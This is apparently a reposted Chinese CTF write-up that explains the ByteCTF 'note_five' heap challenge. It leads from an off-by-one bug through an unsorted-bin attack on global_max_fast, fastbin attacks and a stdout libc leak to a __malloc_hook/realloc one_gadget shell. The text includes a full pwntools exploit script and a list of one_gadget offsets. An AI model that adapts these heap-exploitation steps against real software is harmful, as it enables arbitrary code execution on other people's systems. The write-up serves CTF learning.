ByteCTF note_five 经验总结

每到接触新知识得时候总要花不少力气搞懂(汗,这题是关于改写global_max_fast 再通过fastbin attack来getshell, 总结一下学到的知识点和解题思路

思路:
这题限制了chunk的size, 大小为0x8f~0x0x400,在edit info 函数处存在 off-by-one 漏洞,通过这个漏洞可以改写chunk的size

一开始的思路是创建几个chunk,然后通过修改chunk的size,使一个chunk即存在于fastbin与unsortedbin中,之后通过_IO_2_1_stdout_ 泄露libc地址, 最后就是覆写__malloc_hook为one_gadget 来getshell
但是当我把脚本写到使一个chunk同时存在于fastbin与unsortedbin中是, 发现题目限制了chunk的size, 所以不能直接利用fastbin attack。。(呆住

看了其它大佬的wp后按照他们的思路在想一遍

步骤:

  1. 改写global_max_fast
  2. 利用fastbin attack 泄露libc地址
  3. 再利用一次fastbin attack 覆写__malloc_hook,由于这题的one_gadget 失效,所以还要利用realloc来调整栈环境使得one_gadget 变得有效

具体实现:

  1. 创建4个大小为0x98的chunk,编号依次为0-3,然后delete chunk0, 利用off-by-one 漏洞改写chunk2 的size为0xa0, prev_size 为0x140, 之后再 delete 2,这样unsortedbin就会存在一个size为0x1e1 的chunk了

原理:
由于chunk2的标志位为0, 这代表chunk1为free掉的chunk,但实际上并没有对chunk1进行free操作,所以chunk1 的指针可以被利用
free chunk2时会进行合并操作,根据prev_size找到前一块chunk的地址,然后将前一块chunk 的size改写为合并后的size,由于prev_size 被我们改成了0x140,所以合并后的chunk 包含了chunk0, chunk1, chunk2
ByteCTF note_five 经验总结_第1张图片

  1. 创建一个大小为0xe8 的chunk,编号为0, 这时会从unsortedbin中切割一块size为0xf0 的chunk给chunk0, 这时通过edit chunk1,来改写在unsortedbin中剩下的chunk的fd, bk指针, fd指针可以改写成任意数据,bk指针要改写成&global_max_fast - 0x10

改写之后再次创建一个大小0xe8 的chunk, 编号为4,触发unsortedbin attack 将global_max_fast 改写成一个很大的数, 那么之后的chunk都会被视作fastbin了
ByteCTF note_five 经验总结_第2张图片
3. 利用fastbin attack 改写_IO_2_1_stdout_结构体泄露libc地址

4.有了libc地址接下来就是覆写__malloc_hook了,但是有个问题,IO_2_1stdout 中可以构造size为0xf0 的chunk, 但是附近malloc_hook没有合适的chunk可以构造,但是__malloc_hook前面存在_IO_2_1_stdin_ ,stdin中存在0xffffffff, 这样可以现在stdin中创建一个chunk,再在__malloc_hook 附近写入0xf1, 之后再次进行fastbin attack 即可覆写__malloc_hook 了
ByteCTF note_five 经验总结_第3张图片
ByteCTF note_five 经验总结_第4张图片
往stdin 写入0xf0 后可构造chunk
ByteCTF note_five 经验总结_第5张图片

5.由于one_gadget 失效,所以需要利用realloc来调整, realloc_hook 覆盖为one_gadget , malloc_hook 覆盖为realloc+x , 这题x为13 可以getshell

EXP:

from pwn import *
import struct

context(arch='amd64', os='linux', log_level='debug')
debug = 0
d = 0

if debug == 0:
	p = process("./note_five")
	if d == 1:
		gdb.attach(p)

def new(idx, size):
	p.sendlineafter("choice>> ", str(1))

	p.sendlineafter("idx: ", str(idx))
	p.sendlineafter("size: ", str(size))

def edit(idx, content):
	p.sendlineafter("choice>> ", str(2))
	
	p.sendlineafter("idx: ", str(idx))
	p.sendafter("content: ", content)

def delete(idx):
	p.sendlineafter("choice>> ", str(3))
	
	p.sendlineafter("idx: ", str(idx))

new(0, 0x98)

new(1, 0x98)

new(2, 0x98)

new(3, 0x98)

delete(0)

edit(1, 'a'*0x90 + p64(0x140) + p8(0xa0))

delete(2)

new(0, 0xe8)

edit(1, 'a'*0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10) + '\n')

new(4, 0xe8)

delete(4)

edit(1, 'a'*0x40 + p64(0) + p64(0xf1) + p16(0x25cf) + '\n')

new(2, 0xe8)

new(4, 0xe8)

edit(4, 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x40' + '\n')

leak = p.recvline()[:8]
print "leak-> " + leak
libc_addr = struct.unpack(", leak)[0]
print "libc_addr-> " + hex(libc_addr)
libc_base = libc_addr - (0x7ffff7dd2640 - 0x7ffff7a0d000)

libc = ELF("notefive_libc.so")

one_gadget = libc_base + 0x4526a

malloc_hook = libc_base + libc.symbols['__malloc_hook']

realloc = libc_base + libc.symbols['__libc_realloc']

stdin = libc_base + libc.symbols['_IO_2_1_stdin_']

print "one_gadget-> " + hex(one_gadget)
print "malloc_hook-> " + hex(malloc_hook)
print "realloc-> " + hex(realloc)
print "stdin-> " + hex(stdin)

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

delete(2)

edit(1, 'a'*0x40 + p64(0) + p64(0xf1) + p64(stdin + 0x8f) + '\n')

new(2, 0xe8)

new(4, 0xe8)

edit(4, 'a'*0xe0 + p64(0) + p64(0xf1) + '\n')

delete(2)

edit(1, 'a'*0x40 + p64(0) + p64(0xf1) + p64(malloc_hook - 0xb1) + '\n')

new(4, 0xe8)

new(4, 0xe8)

edit(4, 'a'*(0xb1 - 0x8 - 0x10) + p64(one_gadget) + p64(realloc + 13) + '\n')

#raw_input()

p.sendlineafter("choice>> ", str(1))

p.sendlineafter("idx: ", str(4))

p.sendlineafter("size: ", str(0xe8))

p.interactive()

结果:

ByteCTF note_five 经验总结_第6张图片
参考wp:
http://blog.eonew.cn/archives/1220

unsortedbin attack:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack-zh/

你可能感兴趣的:(PWN)